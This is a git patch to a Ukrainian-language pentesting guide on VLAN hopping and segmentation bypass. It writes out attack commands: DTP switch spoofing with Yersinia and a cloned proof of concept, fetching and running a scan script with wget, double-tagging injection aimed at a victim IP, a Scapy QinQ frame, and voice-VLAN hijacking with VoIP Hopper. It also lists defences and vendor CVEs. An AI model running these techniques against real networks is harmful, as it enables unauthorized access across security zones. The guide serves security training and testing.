From f43364d7438663859d384d2f2c781a8951ce70f8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:41:58 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 81 ++++++++++++++----- 1 file changed, 61 insertions(+), 20 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 494b2b31f..2f39cf08f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -10,7 +10,7 @@ ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10. +Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримувати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10. ``` SW1# show vlan brief ``` @@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk Потім створюються віртуальні інтерфейси, їм призначаються VLAN ID та активуються: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,19 +33,28 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` В подальшому запит адреси здійснюється через DHCP. Альтернативно, у випадках, коли DHCP не є життєздатним, адреси можна налаштувати вручну: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Приклад ручного налаштування статичної IP-адреси на інтерфейсі (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` -З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60. +З'єднання перевіряється шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60. Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій. @@ -52,7 +62,7 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора) -Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки на рівні 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора: +Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки рівня 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора: ### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP) @@ -61,22 +71,29 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 *Yersinia* та кілька PoC автоматизують процес: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити піворот, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*: +Допомога розвідки (пасивно визначити стан DTP порту): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up + +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 ``` +Якщо порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і перемикатися точно так, як показано в попередньому розділі. + ### 2. Подвійне тегування (Зловживання Native-VLAN) -Якщо зловмисник знаходиться на **native (нетегованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2024), автоматизують ін'єкцію: +Якщо зловмисник знаходиться на **native (негатованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може перейти до другого VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2025), автоматизують ін'єкцію: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Проходження пакета: -1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN. -2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20. +### 3. QinQ (802.1ad) Stacking -Ця техніка все ще працює в 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри. - -### 3. QinQ (802.1ad) Стекування - -Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy: +Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію сервіс-провайдера. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині провайдера (S-tag), щоб перетнути зони безпеки. Захопіть для ethertype `0x88a8` і спробуйте видалити зовнішній тег за допомогою Scapy: ```python from scapy.all import * outer = 100 # Service tag @@ -102,6 +113,22 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +Корпоративні порти доступу часто знаходяться в конфігурації *“access + voice”*: немічений data VLAN для робочої станції та мічений voice VLAN, який рекламується через CDP або LLDP-MED. Імітуючи IP-телефон, зловмисник може автоматично виявити та перейти в VoIP VLAN — навіть коли DTP вимкнено. + +*VoIP Hopper* (упакований у Kali 2025.2) підтримує CDP, DHCP options **176/242** та повне імітування LLDP-MED: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +Техніка обминає розділення даних/голосу і є надзвичайно поширеною на підприємницьких крайових комутаторах у 2025 році, оскільки LLDP авто-політика увімкнена за замовчуванням на багатьох моделях. + --- ## Рекомендації щодо захисту @@ -109,8 +136,20 @@ sendp(frame, iface="eth0") 1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`. 2. Змініть рідний VLAN на кожному транку на **невикористовуваний, чорний дірковий VLAN** і позначте його: `vlan dot1q tag native`. 3. Виріжте непотрібні VLAN на транках: `switchport trunk allowed vlan 10,20`. -4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2. -5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q. +4. Застосовуйте безпеку портів, DHCP snooping, динамічну перевірку ARP **та 802.1X**, щоб обмежити діяльність зловмисних Layer-2. +5. Вимкніть авто голосові політики LLDP-MED (або заблокуйте їх для автентифікованих MAC OUI), якщо підробка IP-телефонів не потрібна. +6. Віддавайте перевагу приватним VLAN або L3 сегментації замість того, щоб покладатися лише на розділення 802.1Q. + +--- + +## Вразливості постачальників у реальному світі (2022-2024) + +Навіть ідеально захищена конфігурація комутатора може бути підірвана помилками в прошивці. Останні приклади включають: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** дозволяють ін'єкцію з рідного VLAN у не рідні WLAN VLAN, обминаючи дротове/безпровідне сегментування. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** дозволяє обхід ACL на SVI після перемикання Resilient Ethernet Protocol, витікаючи трафік між VRF/VLAN. Патч 17.9.5 або новіший. + +Завжди стежте за рекомендаціями постачальника щодо проблем обмивання/ACL, пов'язаних з VLAN, і підтримуйте актуальність образів інфраструктури. --- @@ -119,5 +158,7 @@ sendp(frame, iface="eth0") - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN attack toolkit – - Twingate "Що таке VLAN Hopping?" (Серпень 2024) – +- VoIP Hopper project – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}